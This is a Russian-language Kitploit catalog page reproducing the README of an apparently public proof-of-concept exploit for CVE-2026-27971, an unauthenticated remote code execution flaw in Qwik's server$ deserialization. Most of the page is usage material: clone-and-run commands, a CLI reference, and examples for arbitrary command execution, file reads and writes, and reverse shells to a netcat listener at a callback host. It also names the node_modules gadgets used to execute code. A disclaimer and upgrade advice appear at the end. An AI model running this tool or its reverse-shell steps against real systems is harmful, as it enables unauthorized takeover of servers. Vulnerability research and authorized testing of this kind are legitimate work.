Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-27971_POC — CVE-2026-27971 qwik rce | Kitploit
Инструменты/GitHubGitHub/ghalendar/cve-2026-27971_poc
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеКомандование и УправлениеRed TeamingИнструмент Удаленного ДоступаРазработка Полезной Нагрузки
GitHubghalendar/cve-2026-27971_poc

CVE-2026-27971_POC

CVE-2026-27971 qwik rce

Репозиторий
51 месяц назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-27971 — Qwik server$ PoC неаутентифицированного удаленного выполнения кода

[!WARNING] Этот репозиторий содержит активный proof-of-concept удаленного выполнения кода. Используйте его только против систем, которыми вы владеете или на тестирование которых у вас есть явное разрешение. Автор не несет ответственности за несанкционированное использование или ущерб.

Автономный proof-of-concept на Python для CVE-2026-27971 / GHSA-p9x5-jp3h-96mm — неаутентифицированной уязвимости удаленного выполнения кода в механизме десериализации RPC server$ фреймворка Qwik.

PoC может выполнять активную проверку с маркером, запускать команды, читать и записывать текстовые файлы, а также запрашивать reverse shell на целях под управлением Linux или Windows. Для работы используется только стандартная библиотека Python.

Сводка об уязвимости

Скачать инструмент
ПолеЗначение
ПродуктQwik — npm-пакет @builder.io/qwik
Затронутые версии<= 1.19.0
Исправленная версия1.19.1
УязвимостьНеаутентифицированное удаленное выполнение кода через небезопасную десериализацию server$
Условие выполненияrequire() должен быть доступен во время выполнения
CWECWE-502 — Десериализация недоверенных данных
СерьёзностьКритическая — CVSS 4.0: 9.2
ВекторCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Специально сформированный запрос application/qwik-json может ссылаться на серверный модуль и экспортируемый символ. Уязвимые версии Qwik могут разрешать незарегистрированный QRL через require() во время выполнения и вызывать его без аутентификации. Данный PoC пытается обратиться к совместимому экспорту для выполнения процессов, уже присутствующему в node_modules цели.

Требования

Оператор:

  • Python 3.
  • Сетевой доступ к точному маршруту Qwik, который обрабатывает запрос server$/Qwik JSON.
  • Прослушивающий порт (listener), доступный с целевой машины при тестировании функции reverse shell.

Цель:

  • Уязвимое развертывание Qwik с использованием @builder.io/qwik <= 1.19.0.
  • Среда выполнения, в которой доступен require().
  • Совместимый модуль-gadget и экспорт, доступные в node_modules.
  • node, доступный в PATH сервисного процесса.
  • Достаточные права учетной записи сервиса для запрошенной команды или файловой операции.

Сторонние пакеты Python не требуются.

Быстрый старт

root@kitploit:~
git clone https://github.com/Ghalendar/CVE-2026-27971_POC.git
cd CVE-2026-27971_POC
python3 exploit_combat.py --help

Список встроенных гаджетов без отправки запроса:

root@kitploit:~
python3 exploit_combat.py --list-gadgets

Запустить активную проверку с маркером и перебрать все встроенные гаджеты:

root@kitploit:~
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --probe

[!IMPORTANT] --probe — это не пассивное определение версии. Он пытается выполнить удаленный код и подтверждает это выводом маркера из процесса цели.

Примеры использования

Выполнить команду:

root@kitploit:~
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --CMD "node -p process.platform"

Прочитать UTF-8 текстовый файл:

root@kitploit:~
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --read package.json

Записать и проверить UTF-8 текстовый файл:

root@kitploit:~
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --write qwik-poc.txt --content "authorized lab test"

Запросить reverse shell после запуска постоянного listener'а:

root@kitploit:~
nc -lvnp 4444
root@kitploit:~
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --lhost 10.10.10.1 --lport 4444 --callback

Принудительно использовать Windows-полезную нагрузку reverse shell, когда автоматическое определение ОС не подходит:

root@kitploit:~
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --OS windows --lhost 10.10.10.1 --lport 4444

Скрипт не запускает listener. Предварительная проверка --callback открывает и закрывает отдельное TCP-соединение перед отправкой полезной нагрузки shell, поэтому используйте listener, способный принимать более одного соединения.

Справочник по CLI

ОпцияОписание
-t URL, --target URLТочный URL цели. По умолчанию: http://localhost:3000. Маршрут не обнаруживается автоматически.
--probeАктивно выполнить полезную нагрузку с маркером и попытаться определить ОС.
-c CMD, --CMD CMDВыполнить команду через Node.js child_process.execSync().
--read PATHПрочитать UTF-8 текстовый файл с помощью fs.readFileSync().
--write PATH --content TEXTЗаписать текстовый файл, прочитать его обратно и сравнить результат. Родительские каталоги не создаются.
--list-gadgetsВывести названия встроенных гаджетов и выйти без сетевого запроса.
--lhost IPВключить режим reverse shell и задать адрес обратного вызова.
--lport PORTЗадать порт обратного вызова. По умолчанию: 4444.
--rev-allОтправить все варианты reverse shell вместо остановки после первого принятого HTTP-запроса.
--callbackПроверить исходящую TCP-доступность перед отправкой полезной нагрузки reverse shell.
--OS {auto,linux,windows}Выбрать семейство полезных нагрузок reverse shell. По умолчанию: auto.
--gadget SPECИспользовать auto, встроенное имя или пользовательский <module>#<symbol>. По умолчанию: cross-spawn.sync.
--arg-style {argv,command,shell}Стиль аргументов для пользовательского гаджета <module>#<symbol>.
--timeout SECONDSТаймаут HTTP на стороне клиента. По умолчанию: 30.
--verify-sslВключить проверку TLS-сертификата и имени хоста. Проверка по умолчанию отключена.

Режимы действий не являются взаимоисключающими в анализаторе аргументов. Используйте один из --probe, --CMD, --read, --write или --lhost за один вызов.

Встроенные гаджеты

ИмяМодуль и экспортСтиль
cross-spawn.sync./node_modules/cross-spawn/index#syncargv
cross-spawn.index-js./node_modules/cross-spawn/index.js#syncargv
execa.sync./node_modules/execa/index#syncargv
execa.index-js.sync./node_modules/execa/index.js#syncargv
execa.commandSync./node_modules/execa/index#commandSynccommand
execa.index-js.commandSync./node_modules/execa/index.js#commandSynccommand
node-cmd.runSync./node_modules/node-cmd/cmd#runSyncshell
node-cmd.cmd-js.runSync./node_modules/node-cmd/cmd.js#runSyncshell

Режим --gadget auto перебирает эти гаджеты в указанном порядке. Пользовательский гаджет можно задать следующим образом:

root@kitploit:~
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget "./node_modules/package/path#exportName" --arg-style argv --probe

Важные ограничения

  • Отрицательный результат проверки не является доказательством того, что цель пропатчена. Это может указывать на неверный маршрут, отсутствующий или несовместимый гаджет, сетевую/TLS-ошибку, фильтрацию или другое расположение развертывания.
  • Гаджет по умолчанию — cross-spawn.sync, а не автоматическое обнаружение. Используйте --gadget auto, когда структура зависимостей цели неизвестна.
  • Инструмент не имеет опций для cookies, заголовков авторизации, прокси или произвольных пользовательских заголовков.
  • Файловые операции ориентированы на текст. --read ожидает UTF-8, а --write не предназначен для двоичных данных.
  • Относительные пути разрешаются из рабочего каталога процесса Qwik. Все операции выполняются с правами учетной записи сервиса Qwik.
  • Сообщения об успешном reverse shell означают, что эксплуатирующий HTTP-запрос был принят; они не доказывают, что обратный вызов был получен.
  • --rev-all может запустить на цели несколько процессов или обратных вызовов. Используйте его только в изолированной лабораторной среде.
  • Коды завершения процесса в первую очередь отражают обработку проверки и транспорта, а не статус завершения удаленной команды или наличие рабочего shell.
  • Инструмент не определяет установленную версию Qwik и не должен использоваться как замена инвентаризации зависимостей.

Устранение уязвимости

Обновите @builder.io/qwik до версии 1.19.1 или новее, обновите lockfile, пересоберите приложение и повторно разверните все серверные артефакты. Удаление совместимого гаджета само по себе не является полным исправлением базовой уязвимости Qwik.

Ссылки

  • Рекомендация по безопасности Qwik — GHSA-p9x5-jp3h-96mm
  • База данных рекомендаций GitHub — CVE-2026-27971
  • Исправленный релиз Qwik 1.19.1
  • Коммит с исправлением в апстриме
  • Запись CVE
  • Запись NVD

Правовое уведомление

Этот проект предоставляется для исследований в области безопасности, защитной валидации и авторизованного тестирования. Не используйте его против систем без явного разрешения.